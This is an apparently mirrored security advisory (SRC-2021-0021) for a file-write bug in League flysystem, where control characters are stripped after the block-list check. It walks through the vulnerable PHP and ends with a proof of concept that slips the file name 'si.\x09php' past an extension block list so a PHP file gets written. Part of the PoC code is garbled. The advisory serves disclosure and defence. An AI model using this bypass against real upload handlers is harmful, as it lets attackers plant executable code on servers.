Lucene search

K
srcinciteSteven Seeley (mr_me) of Qihoo 360 Vulcan TeamSRC-2021-0021
HistoryJun 23, 2021 - 12:00 a.m.

SRC-2021-0021 : League flysystem removeFunkyWhiteSpace Time-Of-Check Time-Of-Use File Write Remote Code Execution Vulnerability

2021-06-2300:00:00
Steven Seeley (mr_me) of Qihoo 360 Vulcan Team
srcincite.io
57

8.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

9.3 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

0.007 Low

EPSS

Percentile

80.1%

Vulnerability Details:

This vulnerability allows remote attackers to execute arbitrary code on affected installations of League flysystem. Authentication may not be required to exploit this vulnerability. The specific flaw exists within the removeFunkyWhiteSpace function. The issue results from a change in the supplied filename which can introduce a time-of-check time-of-use condition. An attacker can leverage this vulnerability to write arbitrary files on a target web server.

Affected Vendors:

League

Affected Products:

flysystem

Vendor Response:

League has issued an update to correct this vulnerability. More details can be found at: <https://github.com/thephpleague/flysystem/security/advisories/GHSA-9f46-5r25-5wfm&gt;

assertAbsent($path);
        $config = $this->prepareConfig($config);

        Util::rewindStream($resource);
        return (bool) $this->getAdapter()->writeStream($path, $resource, $config);
    }

    public function assertAbsent($path)
    {
        if ($this->config->get('disable_asserts', false) === false && $this->has($path)) {
            throw new FileExistsException($path); // whoops
        }
    }
```

At [1] the `normalizePath` method is called:

```php
class Util
{
    //...

    public static function normalizePath($path)
    {
        return static::normalizeRelativePath($path); // 2
    }

    public static function normalizeRelativePath($path)
    {
        $path = str_replace('\\', '/', $path);
        $path = static::removeFunkyWhiteSpace($path); // 3

        $parts = [];

        foreach (explode('/', $path) as $part) {
            switch ($part) {
                case '':
                case '.':
                break;

            case '..':
                if (empty($parts)) {
                    throw new LogicException(
                        'Path is outside of the defined root, path: [' . $path . ']'
                    );
                }
                array_pop($parts);
                break;

            default:
                $parts[] = $part;
                break;
            }
        }

        return implode('/', $parts);
    }
```

The code calls `normalizeRelativePath` with the attackers supplied filename at [2] and then calls the `removeFunkyWhiteSpace` function at [3]. Let's investigate this function defined in the same class:

```php
    protected static function removeFunkyWhiteSpace($path) {
        // We do this check in a loop, since removing invalid unicode characters
        // can lead to new characters being created.
        while (preg_match('#\p{C}+|^\./#u', $path)) {
            $path = preg_replace('#\p{C}+|^\./#u', '', $path);
        }

        return $path;
    }
```

In summary the code is stripping the filename of any non-printable characters (invisible control characters and unused code points 0x00–0x1F and 0x7F–0x9F) which can be used to bypass block list checks. But definitely props for the .. check ;-)

# Bonus:

The `assertAbsent` call will throw a `FileExistsException` which leaks the full path of the web root to an attacker if the same file is uploaded. You probably want to fix that information disclosure bug too.

# Example:

researcher@neophyte:~$ php poc.php
(+) vuln
*/

require __DIR__.'/vendor/autoload.php';
if (file_exists("output/si.php")) unlink("output/si.php");

$blocklist = [
        'php',
        'php3',
        'php4',
        'php5',
        'phtml',
        'cgi',
        'pl',
        'sh',
        'com',
        'bat',
        '',
        'py',
        'rb',
];

// this would be the attack coming from over the web
$filename = "si.\x09php";
$d = pathinfo($filename);
if (in_array($d["extension"], $blocklist, true)) die("(-) blocked, nice try attacker!\r\n");
$adapter = new League\Flysystem\Local\LocalFilesystemAdapter(__DIR__.'/output');
$filesystem = new League\Flysystem\Filesystem($adapter);
$str = "writeStream($filename, $stream);
echo file_exists("output/si.php") == true ? "(+) vuln\r\n" : "(+) not vuln\r\n";
?>

8.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

9.3 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

0.007 Low

EPSS

Percentile

80.1%